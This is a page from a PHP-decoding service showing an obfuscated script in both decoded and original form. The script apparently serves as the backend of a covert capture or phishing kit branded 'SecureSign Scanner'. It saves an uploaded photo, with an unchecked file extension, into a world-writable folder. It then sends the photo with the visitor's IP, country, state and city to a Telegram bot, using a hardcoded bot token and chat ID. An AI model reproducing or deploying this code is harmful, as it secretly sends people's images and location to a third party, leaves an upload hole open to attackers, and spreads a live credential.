Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  | 
    |              on 2025-01-25 06:35:21              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
goto ecYfhje_; ov2g50w3: $QZSnYIu8 = pathinfo($Z8cefqyW["name"], PATHINFO_EXTENSION); goto ebD9hcru; uNerawcW: $QwYi4VdE = $J_NYzMpA . $WsNKwpej; goto DAj7qhFA; Jm8OcmQR: error_log("Telegram cURL error: " . curl_error($ikUWW71Q)); goto LUJKnOwj; sQ2DbgpC: exit; goto T1cOtavi; ecYfhje_: header("Content-Type: application/json"); goto Qpv5I1ma; DAj7qhFA: move_uploaded_file($j_3a1vGX, $QwYi4VdE); goto J3weDXd_; ERR372cC: HBSqWWu5: goto LJPL0aCB; wbPUH8j1: curl_setopt($ikUWW71Q, CURLOPT_HTTPHEADER, ["Content-Type: multipart/form-data"]); goto JsbJ8mdC; I_bDY8Wh: if (!($Z8cefqyW["error"] !== UPLOAD_ERR_OK)) { goto fzLzq_u5; } goto Ld_9aHyM; e2zyPUl3: $XoUcGyYB = __DIR__ . "/last_processed.txt"; goto dQ6xeyQ3; Vq1Koxxm: if (!($HerzFzk4 == $mQKzN2bh["hash"] && time() - $mQKzN2bh["timestamp"] < $t1o5ExhA)) { goto DkO6Ep4q; } goto RfnR2WZH; Ld_9aHyM: echo json_encode(["success" => false, "message" => "File upload error: " . $Z8cefqyW["error"]]); goto nhX6mDbb; LUJKnOwj: F2_yWmmF: goto tSMqZZdM; huQi1jm8: file_put_contents($XoUcGyYB, json_encode(["hash" => $HerzFzk4, "timestamp" => time()])); goto ABlj3MQc; byy76H5D: $dUTLHwZj = json_decode($_POST["ip_info"], true); goto J6WRf1jt; rckOzcg3: mkdir($J_NYzMpA, 0777, true); goto Zprxxwaz; tSMqZZdM: curl_close($ikUWW71Q); goto HXDp6JeQ; WpfPdI6T: curl_setopt($ikUWW71Q, CURLOPT_POST, true); goto Y0pPHyAf; D_fF5R3Y: KswO4ksL: goto n3o7aVc7; ppZE3oPu: $tpRa819x = []; goto jcsCLRxZ; cxFagRna: fzLzq_u5: goto CDKIUI03; E5XLRakO: curl_setopt($ikUWW71Q, CURLOPT_RETURNTRANSFER, true); goto WpfPdI6T; ebD9hcru: $WsNKwpej = uniqid("img_", true) . "." . $QZSnYIu8; goto uNerawcW; n3o7aVc7: $Z8cefqyW = $_FILES["image"]; goto I_bDY8Wh; OmqPtpNN: echo json_encode(["success" => false, "message" => "No image was uploaded."]); goto Hc3aZzsO; RfnR2WZH: echo json_encode(["success" => true, "message" => "Duplicate detected; Telegram message skipped."]); goto sQ2DbgpC; idQFPCV8: $tpRa819x[] = "*City:* N/A"; goto wOXWVr0Q; LJPL0aCB: s_qa1b7n: goto huQi1jm8; J0HsEXG2: if (!curl_errno($ikUWW71Q)) { goto F2_yWmmF; } goto Jm8OcmQR; IB0bRHqC: $KVF2CKyq = "-1002417956348"; goto DcEFxeRG; J3weDXd_: $dUTLHwZj = null; goto uWwkSDIw; u0ktZcjr: $o9S6GoOt = $dUTLHwZj["location"]; goto HZ73AUk2; TJLpdFWG: $tpRa819x[] = "*State:* " . $SuAflljt; goto ewBpQ_sM; Qpv5I1ma: if (isset($_FILES["image"])) { goto KswO4ksL; } goto OmqPtpNN; HUTjsZNG: $SuAflljt = $o9S6GoOt["state"] ?? "N/A"; goto KA_JcLvS; JsbJ8mdC: curl_setopt($ikUWW71Q, CURLOPT_URL, $sv_8zZWF); goto E5XLRakO; FBuM69cg: $fJ2eX2Kr = $dUTLHwZj["ip"] ?? $_SERVER["REMOTE_ADDR"]; goto I3kCVf_G; uWwkSDIw: if (!isset($_POST["ip_info"])) { goto wLGngxHd; } goto byy76H5D; nhX6mDbb: exit; goto cxFagRna; Ebhr6fAf: $tpRa819x[] = "*Country:* N/A"; goto nxfYSwEr; Zprxxwaz: IWtAs0LG: goto ov2g50w3; nxfYSwEr: $tpRa819x[] = "*State:* N/A"; goto idQFPCV8; ewBpQ_sM: $tpRa819x[] = "*City:* " . $MEPmwDXt; goto n8hEnpZg; JQwlpd0v: $u5RJaaKL = curl_exec($ikUWW71Q); goto J0HsEXG2; HxXp5Z2T: $ikUWW71Q = curl_init(); goto wbPUH8j1; jcsCLRxZ: $tpRa819x[] = "* SecureSign Scanner Report*"; goto OOF1sYfa; CbBqzK9p: if (is_dir($J_NYzMpA)) { goto IWtAs0LG; } goto rckOzcg3; Y0pPHyAf: curl_setopt($ikUWW71Q, CURLOPT_POSTFIELDS, $VJ1pmV8N); goto JQwlpd0v; g0jXjtCp: $tpRa819x[] = "*Country:* " . $t97PaAmI; goto TJLpdFWG; vpzxn2x0: if (!($mQKzN2bh && isset($mQKzN2bh["hash"], $mQKzN2bh["timestamp"]))) { goto HBSqWWu5; } goto Vq1Koxxm; J6WRf1jt: wLGngxHd: goto ppZE3oPu; n8hEnpZg: TIcm4B2d: goto SKYsPhkK; tUNVFjjf: $VJ1pmV8N = ["chat_id" => $KVF2CKyq, "caption" => $dH7KHz_3, "parse_mode" => "Markdown", "photo" => new CURLFile($QwYi4VdE)]; goto HxXp5Z2T; SKYsPhkK: $tpRa819x[] = "----------------------------------"; goto H2FcZJnj; Hc3aZzsO: exit; goto D_fF5R3Y; OOF1sYfa: $tpRa819x[] = "----------------------------------"; goto FBuM69cg; DcEFxeRG: $sv_8zZWF = "https://api.telegram.org/bot{$Vk4ilZO6}/sendPhoto"; goto tUNVFjjf; dQ6xeyQ3: $HerzFzk4 = md5($dH7KHz_3); goto y9yTf5IZ; I3kCVf_G: $tpRa819x[] = "*IP Address:* " . $fJ2eX2Kr; goto r5UXiBZP; wOXWVr0Q: goto TIcm4B2d; goto rLzujBXs; CDKIUI03: $j_3a1vGX = $Z8cefqyW["tmp_name"]; goto kgw_esY9; KA_JcLvS: $MEPmwDXt = $o9S6GoOt["city"] ?? "N/A"; goto g0jXjtCp; y9yTf5IZ: $t1o5ExhA = 1; goto tTDXqXpr; tTDXqXpr: if (!file_exists($XoUcGyYB)) { goto s_qa1b7n; } goto XmTpHcdN; XmTpHcdN: $mQKzN2bh = json_decode(file_get_contents($XoUcGyYB), true); goto vpzxn2x0; rLzujBXs: PGPiytJI: goto u0ktZcjr; kgw_esY9: $J_NYzMpA = __DIR__ . "/uploads/"; goto CbBqzK9p; H2FcZJnj: $dH7KHz_3 = implode("
", $tpRa819x); goto e2zyPUl3; ABlj3MQc: $Vk4ilZO6 = "7563210023:AAEPwTHx7QPBysyl2mkQw_kAmgAqEl9YVSE"; goto IB0bRHqC; r5UXiBZP: if ($dUTLHwZj && isset($dUTLHwZj["location"])) { goto PGPiytJI; } goto Ebhr6fAf; HZ73AUk2: $t97PaAmI = $o9S6GoOt["country"] ?? "N/A"; goto HUTjsZNG; T1cOtavi: DkO6Ep4q: goto ERR372cC; HXDp6JeQ: echo json_encode(["success" => true]); 
 ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2025-01-25 06:35:21              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
goto ecYfhje_; ov2g50w3: $QZSnYIu8 = pathinfo($Z8cefqyW["\156\x61\x6d\145"], PATHINFO_EXTENSION); goto ebD9hcru; uNerawcW: $QwYi4VdE = $J_NYzMpA . $WsNKwpej; goto DAj7qhFA; Jm8OcmQR: error_log("\x54\x65\x6c\x65\147\162\141\x6d\x20\x63\125\x52\x4c\40\x65\162\x72\157\162\72\40" . curl_error($ikUWW71Q)); goto LUJKnOwj; sQ2DbgpC: exit; goto T1cOtavi; ecYfhje_: header("\103\x6f\x6e\x74\x65\156\164\55\x54\171\x70\x65\x3a\40\x61\x70\x70\154\x69\x63\x61\164\x69\x6f\156\57\152\163\x6f\x6e"); goto Qpv5I1ma; DAj7qhFA: move_uploaded_file($j_3a1vGX, $QwYi4VdE); goto J3weDXd_; ERR372cC: HBSqWWu5: goto LJPL0aCB; wbPUH8j1: curl_setopt($ikUWW71Q, CURLOPT_HTTPHEADER, ["\x43\x6f\x6e\164\x65\x6e\164\x2d\124\171\x70\145\x3a\40\x6d\x75\154\x74\151\160\x61\x72\164\57\x66\157\x72\x6d\55\x64\x61\164\141"]); goto JsbJ8mdC; I_bDY8Wh: if (!($Z8cefqyW["\145\x72\162\x6f\162"] !== UPLOAD_ERR_OK)) { goto fzLzq_u5; } goto Ld_9aHyM; e2zyPUl3: $XoUcGyYB = __DIR__ . "\x2f\154\141\x73\x74\x5f\160\x72\x6f\x63\x65\163\x73\145\144\56\164\170\164"; goto dQ6xeyQ3; Vq1Koxxm: if (!($HerzFzk4 == $mQKzN2bh["\150\141\163\150"] && time() - $mQKzN2bh["\x74\x69\x6d\145\163\x74\141\155\x70"] < $t1o5ExhA)) { goto DkO6Ep4q; } goto RfnR2WZH; Ld_9aHyM: echo json_encode(["\163\x75\x63\x63\x65\163\x73" => false, "\x6d\145\163\x73\x61\147\145" => "\x46\x69\x6c\x65\40\x75\160\x6c\x6f\141\144\x20\x65\x72\162\x6f\162\72\40" . $Z8cefqyW["\145\x72\162\157\162"]]); goto nhX6mDbb; LUJKnOwj: F2_yWmmF: goto tSMqZZdM; huQi1jm8: file_put_contents($XoUcGyYB, json_encode(["\x68\141\x73\150" => $HerzFzk4, "\164\151\x6d\x65\163\164\x61\155\x70" => time()])); goto ABlj3MQc; byy76H5D: $dUTLHwZj = json_decode($_POST["\151\160\x5f\151\x6e\x66\157"], true); goto J6WRf1jt; rckOzcg3: mkdir($J_NYzMpA, 0777, true); goto Zprxxwaz; tSMqZZdM: curl_close($ikUWW71Q); goto HXDp6JeQ; WpfPdI6T: curl_setopt($ikUWW71Q, CURLOPT_POST, true); goto Y0pPHyAf; D_fF5R3Y: KswO4ksL: goto n3o7aVc7; ppZE3oPu: $tpRa819x = []; goto jcsCLRxZ; cxFagRna: fzLzq_u5: goto CDKIUI03; E5XLRakO: curl_setopt($ikUWW71Q, CURLOPT_RETURNTRANSFER, true); goto WpfPdI6T; ebD9hcru: $WsNKwpej = uniqid("\x69\x6d\x67\137", true) . "\x2e" . $QZSnYIu8; goto uNerawcW; n3o7aVc7: $Z8cefqyW = $_FILES["\151\155\141\147\x65"]; goto I_bDY8Wh; OmqPtpNN: echo json_encode(["\x73\165\x63\x63\145\x73\x73" => false, "\155\145\x73\x73\x61\147\x65" => "\116\157\x20\x69\x6d\x61\x67\145\x20\167\x61\163\x20\x75\x70\154\x6f\x61\144\145\144\56"]); goto Hc3aZzsO; RfnR2WZH: echo json_encode(["\163\165\x63\x63\x65\x73\163" => true, "\x6d\145\x73\x73\x61\147\x65" => "\x44\x75\x70\154\151\x63\x61\164\x65\40\144\145\164\145\x63\x74\145\144\73\40\124\145\154\x65\x67\162\x61\x6d\x20\155\145\x73\163\141\x67\145\40\163\x6b\151\160\x70\145\144\x2e"]); goto sQ2DbgpC; idQFPCV8: $tpRa819x[] = "\52\x43\151\x74\x79\72\52\40\x4e\x2f\x41"; goto wOXWVr0Q; LJPL0aCB: s_qa1b7n: goto huQi1jm8; J0HsEXG2: if (!curl_errno($ikUWW71Q)) { goto F2_yWmmF; } goto Jm8OcmQR; IB0bRHqC: $KVF2CKyq = "\55\x31\x30\60\62\64\x31\67\x39\x35\66\x33\64\70"; goto DcEFxeRG; J3weDXd_: $dUTLHwZj = null; goto uWwkSDIw; u0ktZcjr: $o9S6GoOt = $dUTLHwZj["\x6c\x6f\143\141\x74\x69\157\156"]; goto HZ73AUk2; TJLpdFWG: $tpRa819x[] = "\x2a\x53\x74\x61\x74\145\72\x2a\40" . $SuAflljt; goto ewBpQ_sM; Qpv5I1ma: if (isset($_FILES["\x69\x6d\x61\147\x65"])) { goto KswO4ksL; } goto OmqPtpNN; HUTjsZNG: $SuAflljt = $o9S6GoOt["\163\164\141\164\145"] ?? "\116\x2f\x41"; goto KA_JcLvS; JsbJ8mdC: curl_setopt($ikUWW71Q, CURLOPT_URL, $sv_8zZWF); goto E5XLRakO; FBuM69cg: $fJ2eX2Kr = $dUTLHwZj["\151\160"] ?? $_SERVER["\x52\x45\115\x4f\x54\x45\137\101\104\104\x52"]; goto I3kCVf_G; uWwkSDIw: if (!isset($_POST["\x69\160\x5f\x69\x6e\146\x6f"])) { goto wLGngxHd; } goto byy76H5D; nhX6mDbb: exit; goto cxFagRna; Ebhr6fAf: $tpRa819x[] = "\x2a\x43\x6f\165\156\164\162\171\72\52\x20\116\x2f\101"; goto nxfYSwEr; Zprxxwaz: IWtAs0LG: goto ov2g50w3; nxfYSwEr: $tpRa819x[] = "\52\x53\164\x61\x74\x65\x3a\x2a\x20\116\57\x41"; goto idQFPCV8; ewBpQ_sM: $tpRa819x[] = "\52\103\151\164\x79\x3a\x2a\x20" . $MEPmwDXt; goto n8hEnpZg; JQwlpd0v: $u5RJaaKL = curl_exec($ikUWW71Q); goto J0HsEXG2; HxXp5Z2T: $ikUWW71Q = curl_init(); goto wbPUH8j1; jcsCLRxZ: $tpRa819x[] = "\x2a\xf0\x9f\x94\215\x20\123\145\143\165\162\145\x53\151\147\x6e\x20\123\143\x61\156\156\x65\x72\x20\x52\x65\x70\x6f\x72\164\52"; goto OOF1sYfa; CbBqzK9p: if (is_dir($J_NYzMpA)) { goto IWtAs0LG; } goto rckOzcg3; Y0pPHyAf: curl_setopt($ikUWW71Q, CURLOPT_POSTFIELDS, $VJ1pmV8N); goto JQwlpd0v; g0jXjtCp: $tpRa819x[] = "\52\103\x6f\165\x6e\164\x72\171\x3a\x2a\x20" . $t97PaAmI; goto TJLpdFWG; vpzxn2x0: if (!($mQKzN2bh && isset($mQKzN2bh["\x68\141\163\x68"], $mQKzN2bh["\x74\x69\155\x65\163\x74\141\x6d\x70"]))) { goto HBSqWWu5; } goto Vq1Koxxm; J6WRf1jt: wLGngxHd: goto ppZE3oPu; n8hEnpZg: TIcm4B2d: goto SKYsPhkK; tUNVFjjf: $VJ1pmV8N = ["\143\x68\141\x74\137\x69\144" => $KVF2CKyq, "\x63\141\160\x74\151\x6f\156" => $dH7KHz_3, "\160\x61\162\163\145\137\155\x6f\x64\x65" => "\115\x61\162\x6b\144\x6f\167\156", "\x70\150\157\164\157" => new CURLFile($QwYi4VdE)]; goto HxXp5Z2T; SKYsPhkK: $tpRa819x[] = "\55\x2d\55\x2d\x2d\x2d\55\55\x2d\x2d\x2d\55\55\x2d\x2d\x2d\55\x2d\55\x2d\x2d\x2d\x2d\x2d\x2d\x2d\55\55\x2d\55\x2d\55\55\x2d"; goto H2FcZJnj; Hc3aZzsO: exit; goto D_fF5R3Y; OOF1sYfa: $tpRa819x[] = "\55\55\55\55\55\55\x2d\55\x2d\55\55\55\x2d\55\55\55\55\x2d\x2d\x2d\x2d\55\55\55\x2d\x2d\x2d\x2d\55\55\x2d\55\55\x2d"; goto FBuM69cg; DcEFxeRG: $sv_8zZWF = "\150\x74\x74\x70\163\72\57\57\141\x70\x69\x2e\164\x65\x6c\145\x67\x72\141\155\x2e\x6f\162\147\x2f\x62\157\164{$Vk4ilZO6}\57\163\x65\x6e\144\120\150\x6f\164\157"; goto tUNVFjjf; dQ6xeyQ3: $HerzFzk4 = md5($dH7KHz_3); goto y9yTf5IZ; I3kCVf_G: $tpRa819x[] = "\x2a\x49\x50\40\x41\x64\144\x72\x65\x73\163\x3a\x2a\40" . $fJ2eX2Kr; goto r5UXiBZP; wOXWVr0Q: goto TIcm4B2d; goto rLzujBXs; CDKIUI03: $j_3a1vGX = $Z8cefqyW["\164\155\x70\x5f\156\141\x6d\x65"]; goto kgw_esY9; KA_JcLvS: $MEPmwDXt = $o9S6GoOt["\143\x69\164\x79"] ?? "\116\x2f\101"; goto g0jXjtCp; y9yTf5IZ: $t1o5ExhA = 1; goto tTDXqXpr; tTDXqXpr: if (!file_exists($XoUcGyYB)) { goto s_qa1b7n; } goto XmTpHcdN; XmTpHcdN: $mQKzN2bh = json_decode(file_get_contents($XoUcGyYB), true); goto vpzxn2x0; rLzujBXs: PGPiytJI: goto u0ktZcjr; kgw_esY9: $J_NYzMpA = __DIR__ . "\57\x75\160\154\157\141\144\x73\x2f"; goto CbBqzK9p; H2FcZJnj: $dH7KHz_3 = implode("\12", $tpRa819x); goto e2zyPUl3; ABlj3MQc: $Vk4ilZO6 = "\x37\65\66\63\x32\61\60\x30\x32\x33\72\101\x41\x45\120\x77\x54\110\x78\67\x51\120\102\x79\x73\171\154\x32\x6d\153\x51\x77\x5f\x6b\x41\155\147\101\x71\x45\x6c\x39\131\126\123\x45"; goto IB0bRHqC; r5UXiBZP: if ($dUTLHwZj && isset($dUTLHwZj["\154\x6f\143\x61\164\x69\x6f\x6e"])) { goto PGPiytJI; } goto Ebhr6fAf; HZ73AUk2: $t97PaAmI = $o9S6GoOt["\x63\x6f\165\156\164\162\x79"] ?? "\116\x2f\x41"; goto HUTjsZNG; T1cOtavi: DkO6Ep4q: goto ERR372cC; HXDp6JeQ: echo json_encode(["\x73\165\x63\143\x65\163\x73" => true]);
 ?>

Function Calls

None

Variables

None

Stats

MD5 59b87091c66ae7d18ec308c04608e691
Eval Count 0
Decode Time 51 ms